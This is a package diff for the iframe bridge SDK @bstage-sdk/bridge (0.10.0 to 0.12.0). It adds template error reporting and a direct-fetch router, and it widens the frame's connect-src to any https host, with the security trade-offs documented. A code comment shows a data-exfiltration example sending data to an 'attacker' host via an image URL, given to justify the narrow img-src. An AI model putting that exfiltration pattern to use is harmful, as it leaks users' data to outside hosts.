@bstage-sdk/bridge 0.10.0 → 0.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -210,6 +210,7 @@ external에 인증을 붙이는 fetch를 주입하지 않는다. 외부 갈래
210
210
  | `track` | `{ name, params? }` | 이름 100자, params 직렬화 4KB |
211
211
  | `storage` | `{ op, key, value? }` | placement 스코프 메모리(키 50개, 값 4KB) |
212
212
  | `log` | `{ level, message }` | real phase에서는 버림 |
213
+ | `report` | `{ kind, message, frames, count }` | 템플릿 에러 보고. 아래 "에러 보고" |
213
214
 
214
215
  이벤트(호스트 → 프레임, `host.send`): `slot.context`·`locale`(`{ locale, translations? }`)·`member`·`theme`·`visibility`.
215
216
 
@@ -217,9 +218,32 @@ external에 인증을 붙이는 fetch를 주입하지 않는다. 외부 갈래
217
218
  프레임 요청은 15초 안에 응답이 없으면 `TIMEOUT`. 핸드셰이크(`ready`)는 init을 받을 때까지 재전송한다(처음 10초는 250ms, 이후 2초 간격).
218
219
  프레임 → 호스트 봉투에는 최상위 `frame`(프레임 토큰)이 붙고, 문서가 내려갈 때 `evt:frame-unload`(`FRAME_UNLOAD_EVENT`)가 간다(위 "세션 수명").
219
220
 
221
+ ### 에러 보고 (`report`)
222
+
223
+ 격리 프레임이 잡은 템플릿 에러를 호스트로 올리는 요청이다. payload는
224
+ `{ kind: 'error' | 'rejection' | 'load', message, frames, count }`.
225
+
226
+ - 호스트는 형식을 엄격히 검사한다 — message ≤300자, frames ≤10개·각 ≤200자, count는 1~100 정수. 넘으면 잘라 받지 않고
227
+ `BAD_REQUEST`로 거절한다(`validateReport`).
228
+ - **phase 게이트가 없다.** `log`(real에서 버림)와 달리 real에서도 처리한다.
229
+ - 검증한 값은 호스트 옵션 `onTemplateReport(report)`로 넘긴다. 프레임 세션(호스트 하나)당 5건(`REPORTS_PER_SESSION`)까지만
230
+ 부르고, 넘치는 보고는 성공으로 답하되 조용히 버린다. 콜백이 없어도 성공으로 답한다.
231
+ - 귀속은 호스트가 한다. 프레임이 덧붙인 URL 등은 버리고 `{ kind, message, frames, count }`만 넘기므로, 임베더는 자기가
232
+ 띄운 templateUrl로 묶는다. message·frames는 템플릿이 만든 문자열이라 텍스트로만 다루고 밖으로 보내기 전 스크러빙한다.
233
+
234
+ 프레임 쪽은 `createSrcdoc` 부트스트랩이 항상 수집기(`installErrorReport`)를 엔트리보다 먼저 설치한다.
235
+
236
+ - 전역 `error`·`unhandledrejection`과 엔트리 script `onerror`(kind `load`, 기존 `log` 요청도 그대로 보낸다)를 잡는다.
237
+ - message는 300자, 스택은 프레임 꼴인 줄만 10개·각 200자로 자른다. ev.error가 없으면 `filename:lineno:colno`를 쓴다.
238
+ - fingerprint(kind + 숫자를 뺀 message + 첫 프레임)마다 한 번만 보낸다. 첫 발생 뒤 1초(`REPORT_FLUSH_DELAY_MS`) 동안
239
+ 같은 fingerprint는 count로 묶고(100까지), 보낸 뒤의 반복은 버린다. 서로 다른 fingerprint 5건에 닿으면 리스너를 해제한다.
240
+ - 교차 origin 번들의 에러는 브라우저가 "Script error."로 가린다. `createSrcdoc({ crossOrigin: 'anonymous' })`를 주면 엔트리
241
+ script에 `crossOrigin`을 둬 메시지·스택이 보인다. assetOrigin이 CORS(`Access-Control-Allow-Origin`)로 응답해야 하며,
242
+ 아니면 엔트리 로드 자체가 실패하므로 확인한 환경에서만 켠다. 기본은 속성 없음(종전과 같은 문서).
243
+
220
244
  ## 프레임 문서
221
245
 
222
- `createSrcdoc`가 만드는 문서는 CSP로 프레임의 직접 네트워크를 좁힌다. 스크립트는 nonce가 붙은
246
+ `createSrcdoc`가 만드는 문서는 CSP로 프레임이 불러올 수 있는 것을 좁힌다. 스크립트는 nonce가 붙은
223
247
  부트스트랩과 `assetOrigin`의 번들만 실행된다. 부트스트랩은 브리지 클라이언트를 설치하고 init을 받은 뒤
224
248
  엔트리를 로드해 custom element를 붙이고, 문서 높이를 `resize`로 보고한다.
225
249
 
@@ -230,11 +254,12 @@ style-src 'unsafe-inline' {assetOrigin}
230
254
  img-src {assetOrigin} {mediaOrigins…} data: blob:
231
255
  font-src {assetOrigin} data:
232
256
  media-src {assetOrigin} {mediaOrigins…} blob:
233
- connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
257
+ connect-src https: wss:; frame-src 'none'; form-action 'none'; base-uri 'none'
234
258
  ```
235
259
 
236
- - `fetch`·XHR·WebSocket·EventSource는 `connect-src 'none'`으로 막힌다. API 호출은 브리지(`request`)로만 간다 —
237
- `allowExternal: true`면 브리지가 무인증 외부 https 호출을 중개하므로, 프레임이 가진 데이터는 이 경로로도 밖에 나갈 수 있다.
260
+ - `connect-src`는 항상 `https: wss:`다(아래 "프레임 네트워크"). 평문 `http:`·`ws:`는 열지 않는다. 토큰이 필요한 API는
261
+ 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 프레임 안에서 직접 부른다.
262
+ 브리지 fetch(`__bstage_bridge__.fetch`)의 external 갈래(`allowExternal: true`)도 호환을 위해 그대로 남는다.
238
263
  - img-src·media-src에 맨 `https:`는 두지 않는다 — 두면 `<img src="https://임의-origin/?d=…">`가 자유로운 GET
239
264
  유출 통로가 된다. 외부 이미지·미디어가 필요하면 `mediaOrigins`에 **정확한 https origin**만 넘긴다
240
265
  (경로·쿼리·userinfo·와일드카드·대문자 호스트 불가, 최대 20개, 하나라도 틀리면 `TypeError`). font-src는 넓히지 않는다.
@@ -243,6 +268,54 @@ connect-src 'none'; frame-src 'none'; form-action 'none'; base-uri 'none'
243
268
  절대 들어가지 않는다**는 것이다 — 인증은 호스트의 `fetchImpl`이 붙이고, 토큰을 응답으로 돌려주는 인증 경로는
244
269
  게이트웨이 거절 목록(`gatewayDenyPrefixes`·`gatewayDenySegments`)으로 막는다. 프레임에 넘기는 init·이벤트·응답에 민감 정보를 싣지 않는다.
245
270
 
271
+ ### 프레임 네트워크 (항상 적용)
272
+
273
+ 결정(2026-10-21, 2026-10-22에 옵트인 제거): 격리 프레임에서 **토큰이 필요한 정해진 API만 브리지**로 보내고(호스트가 팬 토큰을 붙인다),
274
+ **그 밖의 API는 템플릿이 프레임 안에서 직접** 부른다. 호스트 옵션은 없다 — `createSrcdoc`로 만든 모든 프레임(포털 미리보기 포함)이
275
+ 이 규칙으로 돈다. (0.3.0에서 추가한 `directNetwork` 옵트인과 `buildFrameCsp`의 4번째 인자 `FrameCspOptions`는 다음 minor에서 없앴다. 넘기던 호스트는 인자를 지우면 된다.)
276
+
277
+ 동작:
278
+
279
+ - CSP `connect-src https: wss:`. `http:`·`ws:`는 열지 않는다. `img-src`·`media-src`·`font-src`는 위처럼 좁게 두고
280
+ `frame-src 'none'`·`form-action 'none'`·`base-uri 'none'`도 그대로다.
281
+ - 부트스트랩이 템플릿 코드보다 먼저 `globalThis.__bstage_fetch__`(쓰기 불가)를 설치한다. inline 모드용으로 쓰인 템플릿이
282
+ 부르는 그 이름이다. `new URL(input, hostOrigin)`으로 정규화한 뒤 갈래를 나눈다.
283
+
284
+ | 목적지 | 갈래 |
285
+ | ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
286
+ | hostOrigin + 경로가 init `gatewayPrefixes` 안(web-base는 `['/gw/', '/svc/']`) | 브리지 fetch(기존 프로토콜, 호스트가 다시 판정하고 토큰을 붙인다) |
287
+ | origin이 init `partnerOrigins`와 정확히 일치 | 브리지 fetch(`partnerFetchImpl`) |
288
+ | 그 밖의 https | 프레임의 원래 `fetch`(부트스트랩 때 잡은 참조), `credentials: 'omit'`·`referrerPolicy: 'no-referrer'` |
289
+ | hostOrigin의 게이트웨이 밖 경로, https가 아닌 스킴(http·data·blob 등) | `TypeError`(혼동을 막으려고 직접 보내지 않는다) |
290
+
291
+ - init에 `gatewayPrefixes`(호스트 `policy.gatewayPrefixes`)가 실린다. 판정의 정본은 여전히 호스트 정책이고, 프레임 라우터는
292
+ 보낼 길만 고른다. 필드가 없는 옛 호스트면 hostOrigin 요청은 경로와 무관하게 브리지로 보낸다.
293
+ - 라우터는 판정·전송에 쓰는 전역(`fetch`·`URL`과 그 접근자·`String.prototype.slice`·`Promise.prototype.then`·`Object.assign`)과
294
+ init의 라우팅 목록 사본을 부트스트랩 때 잡아 둔다. 템플릿이 나중에 전역·프로토타입·`getInit()` 객체를 바꿔도 갈래는 바뀌지 않는다(테스트로 고정).
295
+ 갈래가 바뀌더라도 토큰은 새지 않는다 — 브리지로 간 요청은 호스트가 따로 판정하고, 직접 간 요청에는 토큰이 없다.
296
+ - 직접 호출에 인증 헤더를 **붙이지 않는다.** 템플릿이 스스로 넣은 헤더는 그대로 간다.
297
+ - `__bstage_bridge__.fetch`(브리지 fetch)와 호스트의 external 갈래(`allowExternal`)는 그대로 동작한다(호환).
298
+ - core `BstageClient`는 프레임 안에서 계속 브리지 fetch를 쓴다 — 기본 목적지가 게이트웨이(`gatewayBase`)라 토큰이 필요한 쪽이다.
299
+ `baseUrl`을 외부로 바꾼 `BstageClient`는 브리지의 external 갈래로 중계되므로 호스트가 `allowExternal: true`여야 한다.
300
+ 외부를 직접 부르려면 `__bstage_fetch__`나 `fetch`를 쓴다(`config.fetch: globalThis.__bstage_fetch__`도 된다).
301
+
302
+ **보안상 맞바꾼 것(정직하게)** — 아래는 이 결정으로 열린 것이다. 끄는 스위치는 없으므로 프레임을 띄우는 모든 호스트가 아래 조건을 갖춘다.
303
+
304
+ - **직접 호출에는 브리지 정책이 적용되지 않는다.** 사설 IP·IP 리터럴·`localhost`·내부 이름 거절, 분당·동시 요청 상한,
305
+ 요청·응답 본문 상한이 없다. 프레임이 가진 데이터는 임의 https로 나갈 수 있고(이전에도 `allowExternal`·자기 내비게이션으로
306
+ 가능했다), 사설망 접근은 브라우저의 Local Network Access에 맡긴다.
307
+ - **요청은 `Origin: null`로 나간다**(sandbox opaque origin). 직접 부를 API는 CORS에서 `*` 또는 `null`을 허용해야 응답을 읽을 수 있다.
308
+ `null`을 credentials와 함께 허용하는 CORS는 다른 sandbox 문서에도 열리는 것이므로 API 쪽에서 피한다.
309
+ - **토큰은 여전히 프레임에 들어가지 않는다.** 팬 토큰·쿠키는 호스트 `fetchImpl`·`partnerFetchImpl`이 브리지 요청에만 붙인다.
310
+ - **같은 origin 게이트웨이·`/svc`는 브리지로만** 간다 — 단 이것은 `__bstage_fetch__` 라우터의 보장이다. 전역 `fetch`·`XMLHttpRequest`·
311
+ `navigator.sendBeacon`·`EventSource`·`WebSocket`은 그대로 남고 CSP `https:`는 hostOrigin도 포함하므로, 템플릿은 hostOrigin에
312
+ 직접(`credentials: 'include'`, `mode: 'no-cors'`, `sendBeacon`은 항상 자격증명 포함) 요청을 보낼 수 있다. 이 요청은 브리지의
313
+ 거절 규칙(`gatewayDenyPrefixes`·`gatewayDenySegments`)·상한을 거치지 않는다. opaque origin에서 나가 cross-site로 취급되므로
314
+ **`SameSite=None` 쿠키만** 실리고, 응답은 호스트 CORS가 `null`을 허용하지 않으면 읽히지 않는다(부작용은 일어날 수 있다).
315
+ 그래서 프레임을 띄우는 호스트는 ① 호스트 origin 쿠키를 `SameSite=Lax`/`Strict`로 두고(`None` 쿠키는 이 직접 요청에 실린다 — 권장 후속 조치)
316
+ ② CORS에 `null` origin을 허용하지 않으며 ③ 쿠키로 인증하는 상태 변경 엔드포인트에 CSRF 방어를 유지한다.
317
+ - 토큰을 응답 본문으로 돌려주는 경로(토큰 갱신 등)는 브리지의 게이트웨이 거절 규칙으로 계속 막힌다 — 직접 호출로는 토큰이 없으니 닿아도 얻을 것이 없다.
318
+
246
319
  프레임 안 제약: 쿠키·`localStorage`·호스트 DOM에 접근할 수 없다(opaque origin). 번역 사전은 CDN이 아니라
247
320
  호스트가 init·`locale` 이벤트의 `translations`로 넘긴다. 브리지 모드의 `fetchTranslations`는 **현재 locale 사전만**
248
321
  돌려주고, 다른 locale(폴백 체인의 `en`·`ko` 등)은 빈 사전 `{}`이다. 같은 locale에 사전만 새로 와도 `useBstageTranslations`가 다시 읽는다.
@@ -1,7 +1,9 @@
1
1
  import {
2
2
  bridgeRuntime,
3
- createBridgeFetch
4
- } from "./chunk-N3JID7KQ.js";
3
+ createBridgeFetch,
4
+ installDirectFetch,
5
+ installErrorReport
6
+ } from "./chunk-TPKNGW34.js";
5
7
 
6
8
  // src/protocol/envelope.ts
7
9
  var BRIDGE_VERSION = 1;
@@ -60,7 +62,8 @@ var REQUEST_TYPES = [
60
62
  "resize",
61
63
  "track",
62
64
  "storage",
63
- "log"
65
+ "log",
66
+ "report"
64
67
  ];
65
68
  var HOST_EVENT_TYPES = ["slot.context", "locale", "member", "theme", "visibility"];
66
69
  var READY_EVENT = "ready";
@@ -70,6 +73,12 @@ var BRIDGE_SURFACES = ["page", "slot"];
70
73
  function isBridgeSurface(value) {
71
74
  return BRIDGE_SURFACES.includes(value);
72
75
  }
76
+ var TEMPLATE_REPORT_KINDS = ["error", "rejection", "load"];
77
+ var REPORT_MESSAGE_MAX_LENGTH = 300;
78
+ var REPORT_MAX_FRAMES = 10;
79
+ var REPORT_FRAME_MAX_LENGTH = 200;
80
+ var REPORT_COUNT_MAX = 100;
81
+ var REPORTS_PER_SESSION = 5;
73
82
  var IFRAME_ATTRIBUTES = {
74
83
  sandbox: "allow-scripts",
75
84
  allow: "autoplay; fullscreen; picture-in-picture; encrypted-media; clipboard-write",
@@ -401,6 +410,7 @@ function toScriptLiteral(value) {
401
410
 
402
411
  // src/srcdoc/createSrcdoc.ts
403
412
  var MAX_MEDIA_ORIGINS = 20;
413
+ var REPORT_FLUSH_DELAY_MS = 1e3;
404
414
  var MAX_ELEMENT_NAME_LENGTH = 100;
405
415
  var ELEMENT_NAME_RE = /^[a-z][a-z0-9._]*-[a-z0-9._-]*$/;
406
416
  function isValidElementName(value) {
@@ -449,7 +459,7 @@ function buildFrameCsp(nonce, assetOrigin, mediaOrigins = []) {
449
459
  `img-src ${media} data: blob:`,
450
460
  `font-src ${assetOrigin} data:`,
451
461
  `media-src ${media} blob:`,
452
- "connect-src 'none'",
462
+ "connect-src https: wss:",
453
463
  "frame-src 'none'",
454
464
  "form-action 'none'",
455
465
  "base-uri 'none'"
@@ -466,6 +476,19 @@ function bootstrapScript(o) {
466
476
  `var bridgeRuntime = ${bridgeRuntime.toString()};`,
467
477
  `var createBridgeFetch = ${createBridgeFetch.toString()};`,
468
478
  "var client = bridgeRuntime(globalThis, createBridgeFetch, { session: SESSION, hostOrigin: HOST_ORIGIN });",
479
+ // 라우터는 항상 심는다. ready.then이 엔트리 로드(아래 client.ready.then)보다 먼저 등록돼야 템플릿보다 먼저 스냅샷을 잡는다.
480
+ `var installDirectFetch = ${installDirectFetch.toString()};`,
481
+ "installDirectFetch(globalThis, client, { hostOrigin: HOST_ORIGIN });",
482
+ // 에러 수집기는 엔트리(템플릿)보다 먼저 리스너를 건다. 상한은 호스트 검증기와 같은 프로토콜 값이다.
483
+ `var installErrorReport = ${installErrorReport.toString()};`,
484
+ "var reportError = installErrorReport(globalThis, client, {",
485
+ ` maxReports: ${REPORTS_PER_SESSION},`,
486
+ ` maxMessageLength: ${REPORT_MESSAGE_MAX_LENGTH},`,
487
+ ` maxFrames: ${REPORT_MAX_FRAMES},`,
488
+ ` maxFrameLength: ${REPORT_FRAME_MAX_LENGTH},`,
489
+ ` maxCount: ${REPORT_COUNT_MAX},`,
490
+ ` flushDelayMs: ${REPORT_FLUSH_DELAY_MS}`,
491
+ "});",
469
492
  "var lastHeight = -1;",
470
493
  "var scheduled = false;",
471
494
  "function reportHeight() {",
@@ -482,9 +505,12 @@ function bootstrapScript(o) {
482
505
  "}",
483
506
  "client.ready.then(function () {",
484
507
  " var script = document.createElement('script');",
508
+ // crossOrigin은 src보다 먼저 둔다(요청 모드가 src 대입 시점에 정해지는 브라우저가 있다). 주지 않으면 줄 자체가 없다.
509
+ ...o.crossOrigin === "anonymous" ? [" script.crossOrigin = 'anonymous';"] : [],
485
510
  " script.src = ENTRY_URL;",
486
511
  " script.onerror = function () {",
487
512
  " client.request('log', { level: 'error', message: 'template entry failed to load' }).catch(function () {});",
513
+ " reportError('load', 'template entry failed to load', '');",
488
514
  " };",
489
515
  " document.head.appendChild(script);",
490
516
  " customElements.whenDefined(ELEMENT_NAME).then(function () {",
@@ -510,8 +536,12 @@ function createSrcdoc(options) {
510
536
  }
511
537
  if (typeof title !== "string") throw new TypeError("[bstage-bridge] title\uC740 \uBB38\uC790\uC5F4\uC774\uC5B4\uC57C \uD569\uB2C8\uB2E4");
512
538
  const mediaOrigins = normalizeMediaOrigins(options.mediaOrigins);
539
+ const { crossOrigin } = options;
540
+ if (crossOrigin !== void 0 && crossOrigin !== "anonymous") {
541
+ throw new TypeError("[bstage-bridge] crossOrigin\uC740 'anonymous'\uB9CC \uBC1B\uC2B5\uB2C8\uB2E4");
542
+ }
513
543
  const csp = buildFrameCsp(nonce, assetOrigin, mediaOrigins);
514
- const script = bootstrapScript({ session, hostOrigin, entryUrl, elementName });
544
+ const script = bootstrapScript({ session, hostOrigin, entryUrl, elementName, crossOrigin });
515
545
  if (/<\/script|<!--/i.test(script)) {
516
546
  throw new Error("[bstage-bridge] \uBD80\uD2B8\uC2A4\uD2B8\uB7A9 \uC2A4\uD06C\uB9BD\uD2B8\uC5D0 \uC2A4\uD06C\uB9BD\uD2B8 \uC885\uB8CC \uC2DC\uD000\uC2A4\uAC00 \uC788\uC2B5\uB2C8\uB2E4");
517
547
  }
@@ -555,6 +585,12 @@ export {
555
585
  FRAME_UNLOAD_EVENT,
556
586
  BRIDGE_SURFACES,
557
587
  isBridgeSurface,
588
+ TEMPLATE_REPORT_KINDS,
589
+ REPORT_MESSAGE_MAX_LENGTH,
590
+ REPORT_MAX_FRAMES,
591
+ REPORT_FRAME_MAX_LENGTH,
592
+ REPORT_COUNT_MAX,
593
+ REPORTS_PER_SESSION,
558
594
  IFRAME_ATTRIBUTES,
559
595
  isRequestType,
560
596
  isHostEventType,
@@ -579,6 +615,7 @@ export {
579
615
  normalizePinnedHeaders,
580
616
  prepareFetch,
581
617
  MAX_MEDIA_ORIGINS,
618
+ REPORT_FLUSH_DELAY_MS,
582
619
  MAX_ELEMENT_NAME_LENGTH,
583
620
  buildFrameCsp,
584
621
  createSrcdoc
@@ -90,6 +90,232 @@ function createBridgeFetch(client) {
90
90
  return bridgeFetch;
91
91
  }
92
92
 
93
+ // src/frame/directFetch.ts
94
+ function installDirectFetch(g, client, config) {
95
+ const hostOrigin = config.hostOrigin;
96
+ const callFn = Function.prototype.call;
97
+ const NativeURL = g.URL;
98
+ const rawFetch = g.fetch;
99
+ const nativeFetch = typeof rawFetch === "function" ? callFn.bind(rawFetch) : void 0;
100
+ const bridgeFetch = client.fetch;
101
+ const strSlice = callFn.bind(String.prototype.slice);
102
+ const promiseThen = callFn.bind(Promise.prototype.then);
103
+ const promiseReject = Promise.reject.bind(Promise);
104
+ const assign = Object.assign;
105
+ const TypeErr = TypeError;
106
+ function getter(ctor, name) {
107
+ if (typeof ctor !== "function") return void 0;
108
+ let proto = ctor.prototype;
109
+ while (proto) {
110
+ const desc = Object.getOwnPropertyDescriptor(proto, name);
111
+ if (desc && typeof desc.get === "function") {
112
+ return callFn.bind(desc.get);
113
+ }
114
+ proto = Object.getPrototypeOf(proto);
115
+ }
116
+ return void 0;
117
+ }
118
+ const getHref = getter(NativeURL, "href");
119
+ const getOrigin = getter(NativeURL, "origin");
120
+ const getProtocol = getter(NativeURL, "protocol");
121
+ const getPathname = getter(NativeURL, "pathname");
122
+ const getRequestUrl = getter(g.Request, "url");
123
+ let gatewayPrefixes = null;
124
+ let partnerOrigins = [];
125
+ let routesReady = false;
126
+ function copyStrings(value) {
127
+ if (!Array.isArray(value)) return null;
128
+ const out = [];
129
+ for (let i = 0; i < value.length; i += 1) {
130
+ if (typeof value[i] === "string") out[out.length] = value[i];
131
+ }
132
+ return out;
133
+ }
134
+ function takeSnapshot(init) {
135
+ if (routesReady) return;
136
+ const raw = init;
137
+ gatewayPrefixes = copyStrings(raw.gatewayPrefixes);
138
+ partnerOrigins = copyStrings(raw.partnerOrigins) || [];
139
+ routesReady = true;
140
+ }
141
+ promiseThen(client.ready, takeSnapshot);
142
+ function matchesPrefix(pathname, prefix) {
143
+ const bare = strSlice(prefix, prefix.length - 1) === "/" ? strSlice(prefix, 0, -1) : prefix;
144
+ return pathname === bare || strSlice(pathname, 0, bare.length + 1) === bare + "/";
145
+ }
146
+ function routeOf(origin, protocol, pathname) {
147
+ if (origin === hostOrigin) {
148
+ if (gatewayPrefixes === null) return "bridge";
149
+ for (let i = 0; i < gatewayPrefixes.length; i += 1) {
150
+ if (matchesPrefix(pathname, gatewayPrefixes[i])) return "bridge";
151
+ }
152
+ return "reject";
153
+ }
154
+ for (let i = 0; i < partnerOrigins.length; i += 1) {
155
+ if (origin === partnerOrigins[i]) return "bridge";
156
+ }
157
+ return protocol === "https:" ? "direct" : "reject";
158
+ }
159
+ function requestUrlOf(input) {
160
+ if (!getRequestUrl || typeof input !== "object" || input === null) return void 0;
161
+ try {
162
+ return getRequestUrl(input);
163
+ } catch {
164
+ return void 0;
165
+ }
166
+ }
167
+ function dispatch(input, init) {
168
+ if (typeof NativeURL !== "function" || !getHref || !getOrigin || !getProtocol || !getPathname) {
169
+ return promiseReject(new TypeErr("bstage fetch: URL is unavailable"));
170
+ }
171
+ const requestUrl = requestUrlOf(input);
172
+ const request = requestUrl !== void 0;
173
+ let parsed;
174
+ try {
175
+ parsed = new NativeURL(request ? requestUrl : String(input), hostOrigin);
176
+ } catch {
177
+ return promiseReject(new TypeErr("bstage fetch: invalid url"));
178
+ }
179
+ const href = getHref(parsed);
180
+ const route = routeOf(getOrigin(parsed), getProtocol(parsed), getPathname(parsed));
181
+ const target = request ? input : href;
182
+ if (route === "bridge") return bridgeFetch(target, init);
183
+ if (route === "reject") {
184
+ return promiseReject(new TypeErr("bstage fetch: destination not allowed"));
185
+ }
186
+ if (!nativeFetch) return promiseReject(new TypeErr("bstage fetch: fetch is unavailable"));
187
+ return nativeFetch(
188
+ g,
189
+ target,
190
+ assign({}, init, { credentials: "omit", referrerPolicy: "no-referrer" })
191
+ );
192
+ }
193
+ function bstageFetch(input, init) {
194
+ try {
195
+ if (routesReady) return dispatch(input, init);
196
+ return promiseThen(client.ready, function(value) {
197
+ takeSnapshot(value);
198
+ return dispatch(input, init);
199
+ });
200
+ } catch {
201
+ return promiseReject(new TypeErr("bstage fetch: request failed"));
202
+ }
203
+ }
204
+ Object.defineProperty(g, "__bstage_fetch__", {
205
+ value: bstageFetch,
206
+ writable: false,
207
+ configurable: false,
208
+ enumerable: false
209
+ });
210
+ return bstageFetch;
211
+ }
212
+
213
+ // src/frame/errorReport.ts
214
+ function installErrorReport(g, client, config) {
215
+ const schedule = typeof g.setTimeout === "function" ? g.setTimeout : void 0;
216
+ const entries = /* @__PURE__ */ new Map();
217
+ let admitted = 0;
218
+ function toText(value) {
219
+ if (typeof value === "string") return value;
220
+ try {
221
+ return String(value);
222
+ } catch {
223
+ return "";
224
+ }
225
+ }
226
+ function framesOf(stack) {
227
+ const out = [];
228
+ if (typeof stack !== "string") return out;
229
+ const lines = stack.split("\n");
230
+ for (let i = 0; i < lines.length && out.length < config.maxFrames; i += 1) {
231
+ const line = lines[i].trim();
232
+ if (/^at\s/.test(line) || /^[^@]*@(?:[a-z][\w+.-]*:\/\/|\/)\S*:\d+:\d+$/i.test(line) || /^(?:[a-z][\w+.-]*:\/\/|\/)\S*:\d+:\d+$/i.test(line))
233
+ out.push(line.slice(0, config.maxFrameLength));
234
+ }
235
+ return out;
236
+ }
237
+ function send(key) {
238
+ const entry = entries.get(key);
239
+ if (!entry || entry.sent) return;
240
+ entries.set(key, {
241
+ kind: entry.kind,
242
+ message: entry.message,
243
+ frames: entry.frames,
244
+ count: entry.count,
245
+ sent: true
246
+ });
247
+ try {
248
+ client.request("report", {
249
+ kind: entry.kind,
250
+ message: entry.message,
251
+ frames: entry.frames,
252
+ count: entry.count
253
+ }).catch(function() {
254
+ });
255
+ } catch {
256
+ }
257
+ }
258
+ function record(kind, message, stack) {
259
+ try {
260
+ const text = toText(message).slice(0, config.maxMessageLength);
261
+ const frames = framesOf(stack);
262
+ const key = kind + "|" + text.replace(/\d+/g, "") + "|" + (frames[0] || "");
263
+ const entry = entries.get(key);
264
+ if (entry) {
265
+ if (!entry.sent && entry.count < config.maxCount) {
266
+ entries.set(key, {
267
+ kind: entry.kind,
268
+ message: entry.message,
269
+ frames: entry.frames,
270
+ count: entry.count + 1,
271
+ sent: false
272
+ });
273
+ }
274
+ return;
275
+ }
276
+ if (admitted >= config.maxReports) return;
277
+ admitted += 1;
278
+ entries.set(key, { kind, message: text, frames, count: 1, sent: false });
279
+ if (admitted >= config.maxReports) stop();
280
+ if (schedule) {
281
+ schedule(function() {
282
+ send(key);
283
+ }, config.flushDelayMs);
284
+ } else {
285
+ send(key);
286
+ }
287
+ } catch {
288
+ }
289
+ }
290
+ function onError(ev) {
291
+ const err = ev && ev.error;
292
+ if (err && typeof err === "object") {
293
+ record("error", typeof err.message === "string" ? err.message : ev.message, err.stack);
294
+ return;
295
+ }
296
+ const where = ev && typeof ev.filename === "string" && ev.filename !== "" ? "at " + ev.filename + ":" + toText(ev.lineno) + ":" + toText(ev.colno) : "";
297
+ record("error", ev ? ev.message : "", where);
298
+ }
299
+ function onRejection(ev) {
300
+ const reason = ev ? ev.reason : void 0;
301
+ if (reason && typeof reason === "object" && typeof reason.message === "string") {
302
+ record("rejection", reason.message, reason.stack);
303
+ return;
304
+ }
305
+ record("rejection", reason, "");
306
+ }
307
+ function stop() {
308
+ if (typeof g.removeEventListener !== "function") return;
309
+ g.removeEventListener("error", onError);
310
+ g.removeEventListener("unhandledrejection", onRejection);
311
+ }
312
+ if (typeof g.addEventListener === "function") {
313
+ g.addEventListener("error", onError);
314
+ g.addEventListener("unhandledrejection", onRejection);
315
+ }
316
+ return record;
317
+ }
318
+
93
319
  // src/frame/runtime.ts
94
320
  function bridgeRuntime(g, makeFetch, config) {
95
321
  const NS = "bstage-bridge";
@@ -342,5 +568,7 @@ function bridgeRuntime(g, makeFetch, config) {
342
568
 
343
569
  export {
344
570
  bridgeRuntime,
345
- createBridgeFetch
571
+ createBridgeFetch,
572
+ installDirectFetch,
573
+ installErrorReport
346
574
  };
@@ -25,14 +25,28 @@ interface CreateSrcdocOptions {
25
25
  * CSP img-src·media-src에만 더해진다. 잘못된 항목이 하나라도 있으면 TypeError.
26
26
  */
27
27
  readonly mediaOrigins?: readonly string[];
28
+ /**
29
+ * 엔트리 script의 `crossOrigin`. `'anonymous'`만 받는다(그 밖의 값은 TypeError). 주면 교차 origin 번들의
30
+ * 에러가 "Script error."로 가려지지 않고 메시지·스택이 보인다 — 대신 assetOrigin이 CORS
31
+ * (`Access-Control-Allow-Origin`)로 응답해야 하며, 아니면 엔트리 로드 자체가 실패한다. 기본은 속성 없음.
32
+ */
33
+ readonly crossOrigin?: 'anonymous';
28
34
  }
29
35
  /** mediaOrigins 최대 개수. */
30
36
  declare const MAX_MEDIA_ORIGINS = 20;
37
+ /**
38
+ * 에러 보고 묶음 대기(ms) — 첫 발생 뒤 이만큼 기다리며 같은 fingerprint를 count로 묶어 한 번 보낸다.
39
+ * 프로토콜에 정해지지 않은 값(구현 선택).
40
+ */
41
+ declare const REPORT_FLUSH_DELAY_MS = 1000;
31
42
  /** elementName 최대 길이. 정규식 앞에서 먼저 잘라 입력 크기를 고정한다. */
32
43
  declare const MAX_ELEMENT_NAME_LENGTH = 100;
33
44
  /**
34
45
  * 브리지 프로토콜 CSP. 값은 이스케이프 전 원문(호출자가 속성에 넣을 때 이스케이프).
35
46
  *
47
+ * connect-src는 항상 `https: wss:`다(프레임 네트워크 규칙, README "프레임 네트워크") — 토큰이 필요한 API는
48
+ * 부트스트랩의 `__bstage_fetch__`가 브리지로 보내고, 그 밖의 https API는 템플릿이 직접 부른다. 평문(`http:`·`ws:`)은 열지 않는다.
49
+ *
36
50
  * img-src·media-src에 맨 `https:`를 두지 않는다 — 두면 템플릿이 `<img src="https://attacker/?d=...">`로
37
51
  * 임의 origin에 GET을 보낼 수 있다. 외부 이미지·미디어는 `mediaOrigins`로 정확한 origin만 연다.
38
52
  *
@@ -45,8 +59,8 @@ declare function buildFrameCsp(nonce: string, assetOrigin: string, mediaOrigins?
45
59
  *
46
60
  * iframe 속성은 `IFRAME_ATTRIBUTES`(sandbox="allow-scripts" 등)를 쓴다.
47
61
  *
48
- * @throws TypeError 입력이 형식에 맞지 않을 때(잘못된 nonce·세션·origin·엔트리·요소 이름·mediaOrigins)
62
+ * @throws TypeError 입력이 형식에 맞지 않을 때(잘못된 nonce·세션·origin·엔트리·요소 이름·mediaOrigins·crossOrigin)
49
63
  */
50
64
  declare function createSrcdoc(options: CreateSrcdocOptions): string;
51
65
 
52
- export { type CreateSrcdocOptions as C, MAX_ELEMENT_NAME_LENGTH as M, MAX_MEDIA_ORIGINS as a, buildFrameCsp as b, createNonce as c, createSession as d, createSrcdoc as e, isValidSession as f, isValidNonce as i };
66
+ export { type CreateSrcdocOptions as C, MAX_ELEMENT_NAME_LENGTH as M, REPORT_FLUSH_DELAY_MS as R, MAX_MEDIA_ORIGINS as a, buildFrameCsp as b, createNonce as c, createSession as d, createSrcdoc as e, isValidSession as f, isValidNonce as i };
@@ -25,14 +25,28 @@ interface CreateSrcdocOptions {
25
25
  * CSP img-src·media-src에만 더해진다. 잘못된 항목이 하나라도 있으면 TypeError.
26
26
  */
27
27
